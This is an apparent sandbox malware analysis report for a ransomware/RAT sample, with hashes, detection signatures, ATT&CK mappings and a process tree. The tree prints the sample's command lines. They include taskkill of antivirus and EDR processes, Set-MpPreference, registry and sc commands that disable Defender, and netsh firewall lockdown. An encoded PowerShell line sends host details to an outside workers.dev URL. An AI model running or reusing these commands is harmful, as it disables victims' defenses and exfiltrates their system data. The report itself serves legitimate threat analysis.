6ff79929415cfd3ec84bd6861f576bbc5c1f39fe10b87a5f9aad5658fb164ef4

Analysis

max time kernel
7s
max time network
13s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260706-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260706-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
09/07/2026, 00:46

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

Reason

Machine shutdown

General

Target
2026-07-08_ce92d4b329c0b21335198fcea1366255_akira_quasar-rat.exe
Size 4.9MB
Sample260709-a4r27ab15v
SHA256 6ff79929415cfd3ec84bd6861f576bbc5c1f39fe10b87a5f9aad5658fb164ef4
MD5 ce92d4b329c0b21335198fcea1366255
SHA1 d1306db8f39e470a3ccf7bf0ba06e715e5c2532c
SHA512 1137cb7215d40be7f0a32412da630d810c1ae0ecc65a6b814a2a66bf500fb1ac2a489ba93e89260e0dd306e09343b3d646485ea6f5a8bc7ea9d14afcab9aac5f
SSDEEP 98304:GOGpzQAEkXNuHjW433dL0XYE7bumYFQy9/k2NFS/A4O2:xGpQBMgHjvHWVvElLfS4h2
TLSH
T17F36121AF7BAB1A8C836C1F75292817BF8377DDA40B5B07F1A9462305D12B113F28DA5
MD5 SHA1 SHA512 SSDEEP TLSH

Score

9^/10

defense_evasion execution ransomware

Malware Config

Signatures

Detects executables embedding registry key / value combination indicative of disabling Windows Defen 2 IoCs

resource	yara_rule
behavioral2/memory/1276-0-0x00007FF61B1B0000-0x00007FF61B69E000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_RegKeyComb_DisableWinDefender
behavioral2/memory/2452-31-0x00007FF61B1B0000-0x00007FF61B69E000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_RegKeyComb_DisableWinDefender

Disables one or more Microsoft Defender components 1 TTPs 1 IoCs

Uses the Powershell Set-MpPreference cmdlet to disable one or more Microsoft Defender components.

defense_evasion

Disable or Modify Tools

T1562.001

pid	Process
3956	powershell.exe

Modifies Windows Firewall 2 TTPs 2 IoCs

defense_evasion

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

pid	Process
4164	netsh.exe
824	netsh.exe

Disables service(s) 3 TTPs
defense_evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002
Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
3956	powershell.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
1	ifconfig.me

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2626306573-1585762579-411806764-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\boykisser_wallpaper.png"	2026-07-08_ce92d4b329c0b21335198fcea1366255_akira_quasar-rat.exe

Launches sc.exe 10 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
2820	sc.exe
4280	sc.exe
2972	sc.exe
4500	sc.exe
5052	sc.exe
892	sc.exe
5512	sc.exe
2468	sc.exe
2344	sc.exe
5668	sc.exe

Kills process with taskkill 7 IoCs

defense_evasion

pid	Process
3656	taskkill.exe
4336	taskkill.exe
928	taskkill.exe
4828	taskkill.exe
1632	taskkill.exe
2772	taskkill.exe
5812	taskkill.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
2488	powershell.exe
2488	powershell.exe
5908	powershell.exe
5908	powershell.exe

Suspicious use of AdjustPrivilegeToken 6 IoCs

description	pid	Process
Token: SeDebugPrivilege	4828	taskkill.exe
Token: SeDebugPrivilege	2488	powershell.exe
Token: SeDebugPrivilege	1632	taskkill.exe
Token: SeDebugPrivilege	2772	taskkill.exe
Token: SeDebugPrivilege	5908	powershell.exe
Token: SeDebugPrivilege	5812	taskkill.exe

Suspicious use of WriteProcessMemory 7 IoCs

description	pid	Process	procid_target
PID 1276 wrote to memory of 4828	1276	2026-07-08_ce92d4b329c0b21335198fcea1366255_akira_quasar-rat.exe	88
PID 1276 wrote to memory of 2488	1276	2026-07-08_ce92d4b329c0b21335198fcea1366255_akira_quasar-rat.exe	91
PID 2488 wrote to memory of 2452	2488	powershell.exe	93
PID 2452 wrote to memory of 1632	2452	2026-07-08_ce92d4b329c0b21335198fcea1366255_akira_quasar-rat.exe	94
PID 2452 wrote to memory of 5908	2452	2026-07-08_ce92d4b329c0b21335198fcea1366255_akira_quasar-rat.exe	96
PID 2452 wrote to memory of 2772	2452	2026-07-08_ce92d4b329c0b21335198fcea1366255_akira_quasar-rat.exe	97
PID 2452 wrote to memory of 5812	2452	2026-07-08_ce92d4b329c0b21335198fcea1366255_akira_quasar-rat.exe	100

C:\Users\Admin\AppData\Local\Temp\2026-07-08_ce92d4b329c0b21335198fcea1366255_akira_quasar-rat.exe
"C:\Users\Admin\AppData\Local\Temp\2026-07-08_ce92d4b329c0b21335198fcea1366255_akira_quasar-rat.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1276
- C:\Windows\system32\taskkill.exe
  "taskkill" /f /im javaw.exe
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:4828
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -EncodedCommand UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAC0AVgBlAHIAYgAgAFIAdQBuAEEAcwAgAC0ARgBpAGwAZQBQAGEAdABoACAAJwBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcADIAMAAyADYALQAwADcALQAwADgAXwBjAGUAOQAyAGQANABiADMAMgA5AGMAMABiADIAMQAzADMANQAxADkAOABmAGMAZQBhADEAMwA2ADYAMgA1ADUAXwBhAGsAaQByAGEAXwBxAHUAYQBzAGEAcgAtAHIAYQB0AC4AZQB4AGUAJwAgAC0AQQByAGcAdQBtAGUAbgB0AEwAaQBzAHQAIAAnAC0ALQBlAGwAZQB2AGEAdABlAGQAJwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4A
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2488
- - C:\Users\Admin\AppData\Local\Temp\2026-07-08_ce92d4b329c0b21335198fcea1366255_akira_quasar-rat.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-07-08_ce92d4b329c0b21335198fcea1366255_akira_quasar-rat.exe" --elevated
    3⤵
    - Sets desktop wallpaper using registry
    - Suspicious use of WriteProcessMemory
    PID:2452
  - - C:\Windows\system32\taskkill.exe
      "taskkill" /f /im javaw.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:1632
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -EncodedCommand JABhAD0AWwB1AHIAaQBdADoAOgBFAHMAYwBhAHAAZQBEAGEAdABhAFMAdAByAGkAbgBnACgAJwBnAGEAeQBiAG8AeQBzAGEAcgBlAGMAbwBvAGwAYQBuAGQAcwBlAHgAeQAnACkAOwAkAGgAPQBbAE4AZQB0AC4ARABuAHMAXQA6ADoARwBlAHQASABvAHMAdABOAGEAbQBlACgAKQA7ACQAdQA9ACQAZQBuAHYAOgBVAFMARQBSAE4AQQBNAEUAOwAkAHoAPQBbAFQAaQBtAGUAWgBvAG4AZQBJAG4AZgBvAF0AOgA6AEwAbwBjAGEAbAAuAEkAZAA7ACQAbwA9ACgARwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAE8AcABlAHIAYQB0AGkAbgBnAFMAeQBzAHQAZQBtACkALgBDAGEAcAB0AGkAbwBuADsAJABtAD0AKABHAGUAdAAtAE4AZQB0AEEAZABhAHAAdABlAHIAfAA/ACAAUwB0AGEAdAB1AHMAIAAtAGUAcQAgACcAVQBwACcAKQAuAE0AYQBjAEEAZABkAHIAZQBzAHMAOwAkAGkAPQAoAEcAZQB0AC0ATgBlAHQASQBQAEEAZABkAHIAZQBzAHMAIAAtAEEAZABkAHIAZQBzAHMARgBhAG0AaQBsAHkAIABJAFAAdgA0AHwAPwAgAEkAbgB0AGUAcgBmAGEAYwBlAEEAbABpAGEAcwAgAC0AbgBlACAAJwBMAG8AbwBwAGIAYQBjAGsAJwApAC4ASQBQAEEAZABkAHIAZQBzAHMAIAAtAGoAbwBpAG4AIAAnACwAJwA7AHQAcgB5AHsAJABwAD0AKABJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIABpAGYAYwBvAG4AZgBpAGcALgBtAGUALwBpAHAAIAAtAFUAcwBlAEIAYQBzAGkAYwBQAGEAcgBzAGkAbgBnACAALQBUAGkAbQBlAG8AdQB0AFMAZQBjACAAMQAwACkALgBDAG8AbgB0AGUAbgB0AC4AVAByAGkAbQAoACkAfQBjAGEAdABjAGgAewAkAHAAPQAnACcAfQA7ACQAdQByAGwAPQAiAGgAdAB0AHAAcwA6AC8ALwBhADQAZQA0AGQAMgBmAGIAZAA4AGMANwA2AGIAMgA1ADMAYgA5ADYAOABlADcAOAA0ADUAYQA0AGEAMQA5ADgAMwAyADUAMQBkAGYAYwBlADkAMABiADgAOQA1ADAANgAxADEAMQAxADEALgBhAGEAYQBhAGEAYQBhAGEAYQBhAGEAYQBhAGEAYQBhAGEAYQBhAGEAYQBhAGEAYQBhAGEAYQBhAGEAYQBhAGEAYQBhAGEAYQBhAGEAYQBhAGEAYQBhAGEAYQBhAGEAYQBhAGEAYQBhAGEAYQBhAGEAYQBhAGEAYQBhAGEAYQAuAHcAbwByAGsAZQByAHMALgBkAGUAdgAvAD8AYQB1AHQAaAA9ACQAYQAmAGgAbwBzAHQAbgBhAG0AZQA9ACQAaAAmAHUAcwBlAHIAbgBhAG0AZQA9ACQAdQAmAHQAegA9ACQAegAmAG8AcwA9ACQAKABbAHUAcgBpAF0AOgA6AEUAcwBjAGEAcABlAEQAYQB0AGEAUwB0AHIAaQBuAGcAKAAkAG8AKQApACYAbQBhAGMAPQAkAG0AJgBpAG4AdABlAHIAbgBhAGwASQBwAD0AJAAoAFsAdQByAGkAXQA6ADoARQBzAGMAYQBwAGUARABhAHQAYQBTAHQAcgBpAG4AZwAoACQAaQApACkAJgBwAHUAYgBJAHAAPQAkAHAAIgA7AEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAC0ATQBlAHQAaABvAGQAIABQAE8AUwBUACAALQBVAHIAaQAgACQAdQByAGwAIAAtAFUAcwBlAEIAYQBzAGkAYwBQAGEAcgBzAGkAbgBnACAALQBUAGkAbQBlAG8AdQB0AFMAZQBjACAAMQA1AHwATwB1AHQALQBOAHUAbABsAA==
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:5908
  - - C:\Windows\system32\taskkill.exe
      "taskkill" /f /im MsMpEng.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:2772
  - - C:\Windows\system32\taskkill.exe
      "taskkill" /f /im NisSrv.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:5812
  - - C:\Windows\system32\taskkill.exe
      "taskkill" /f /im cb.exe
      4⤵
      Kills process with taskkill
      PID:3656
  - - C:\Windows\system32\taskkill.exe
      "taskkill" /f /im csfalconservice.exe
      4⤵
      Kills process with taskkill
      PID:4336
  - - C:\Windows\system32\taskkill.exe
      "taskkill" /f /im csagent.exe
      4⤵
      Kills process with taskkill
      PID:928
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -DisableIOAVProtection $true -DisableScriptScanning $true -Force"
      4⤵
      Disables one or more Microsoft Defender components
      Command and Scripting Interpreter: PowerShell
      PID:3956
  - - C:\Windows\system32\reg.exe
      "reg" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
      4⤵
      PID:4296
  - - C:\Windows\system32\reg.exe
      "reg" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f
      4⤵
      PID:5024
  - - C:\Windows\system32\reg.exe
      "reg" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableBehaviorMonitoring /t REG_DWORD /d 1 /f
      4⤵
      PID:3476
  - - C:\Windows\system32\sc.exe
      "sc" stop WinDefend
      4⤵
      Launches sc.exe
      PID:892
  - - C:\Windows\system32\sc.exe
      "sc" config WinDefend start= disabled
      4⤵
      Launches sc.exe
      PID:5512
  - - C:\Windows\system32\sc.exe
      "sc" stop Sense
      4⤵
      Launches sc.exe
      PID:2820
  - - C:\Windows\system32\sc.exe
      "sc" config Sense start= disabled
      4⤵
      Launches sc.exe
      PID:4280
  - - C:\Windows\system32\sc.exe
      "sc" stop WdNisSvc
      4⤵
      Launches sc.exe
      PID:2972
  - - C:\Windows\system32\sc.exe
      "sc" config WdNisSvc start= disabled
      4⤵
      Launches sc.exe
      PID:2468
  - - C:\Windows\system32\sc.exe
      "sc" stop WdBoot
      4⤵
      Launches sc.exe
      PID:2344
  - - C:\Windows\system32\sc.exe
      "sc" config WdBoot start= disabled
      4⤵
      Launches sc.exe
      PID:5668
  - - C:\Windows\system32\sc.exe
      "sc" stop WdFilter
      4⤵
      Launches sc.exe
      PID:4500
  - - C:\Windows\system32\sc.exe
      "sc" config WdFilter start= disabled
      4⤵
      Launches sc.exe
      PID:5052
  - - C:\Windows\system32\netsh.exe
      "netsh" advfirewall set allprofiles state on
      4⤵
      Modifies Windows Firewall
      PID:4164
  - - C:\Windows\system32\netsh.exe
      "netsh" advfirewall set allprofiles firewallpolicy blockinbound,blockoutbound
      4⤵
      Modifies Windows Firewall
      PID:824

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

System Services

T1569

Service Execution

T1569.002

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Defense Evasion

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Disable or Modify Tools

T1562.001

Modify Registry

T1112

Obfuscated Files or Information

T1027

Command Obfuscation

T1027.010

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Defacement

T1491

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 bcf8325db72c06bb7f6a8df3c4648a150d766a1857214c6b533c467029424ce8
MD5 e6bcee6109b84febc5ffa8c6d9b2a547
SHA1 eb5de5de4575f11fea9fb8a5f72aee1c8b5b3dab
SHA512 3081253140a770e4c68087b76b905286143feb2fbafa1e0b284b50f69ec736153f85fad9305d7e7f1309d98cf470edea4ab89da3941e068631116d03cccf5333
TLSH
T1C6115733B3CC8624CC9A403650CEAC1036B587DB509EDF6BBB84D145B83F599DE61260
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 5dec38f5b26be6af1f40a1a8c5339ca22f23022326b1a7826a5192d2f619e6db
MD5 096616706cd53ce7648435c8fc2a21ed
SHA1 a8430440322d7236cba82fc481b9769d44d18ae6
SHA512 49b777b81f04235bcac36300bd806cbdb6e5e3b958d503e56f76b778ba5758f5542561c73627283ca6359ee210ac3cbf09fdd78b230e5e8acd47b5d7337ff4ae
TLSH
T12B219833B3CC8614CC9A013A10CDAC1036B6C7CB40DECFAB7B84E155A43F698CE60160
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_33hsdzjv.hdu.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_33hsdzjv.hdu.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

memory/1276-0-0x00007FF61B1B0000-0x00007FF61B69E000-memory.dmp

Download

memory/2452-31-0x00007FF61B1B0000-0x00007FF61B69E000-memory.dmp

Download

memory/2488-5-0x000002AFDDB50000-0x000002AFDDB72000-memory.dmp

Download

memory/2488-6-0x00007FF81A0D0000-0x00007FF81AA74000-memory.dmp

Download

memory/2488-9-0x00007FF81A0D0000-0x00007FF81AA74000-memory.dmp

Download

memory/2488-10-0x00007FF81A0D0000-0x00007FF81AA74000-memory.dmp

Download

memory/2488-11-0x00007FF81A0D0000-0x00007FF81AA74000-memory.dmp

Download

memory/2488-13-0x00007FF81A0D0000-0x00007FF81AA74000-memory.dmp

Download

memory/2488-7-0x00007FF81A0D0000-0x00007FF81AA74000-memory.dmp

Download

memory/2488-8-0x00007FF81A0D0000-0x00007FF81AA74000-memory.dmp

Download

memory/2488-1-0x00007FF81A25F000-0x00007FF81A260000-memory.dmp

Download

memory/2488-2-0x00007FF81A0D0000-0x00007FF81AA74000-memory.dmp

Download

memory/5908-22-0x0000029BF6E60000-0x0000029BF6E6A000-memory.dmp

Download

memory/5908-23-0x0000029BF70C0000-0x0000029BF70DE000-memory.dmp

Download

memory/5908-21-0x0000029BF6E90000-0x0000029BF6F42000-memory.dmp

Download

memory/5908-20-0x0000029BF6E70000-0x0000029BF6E8E000-memory.dmp

Download

Analysis

Sharing

Errors

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads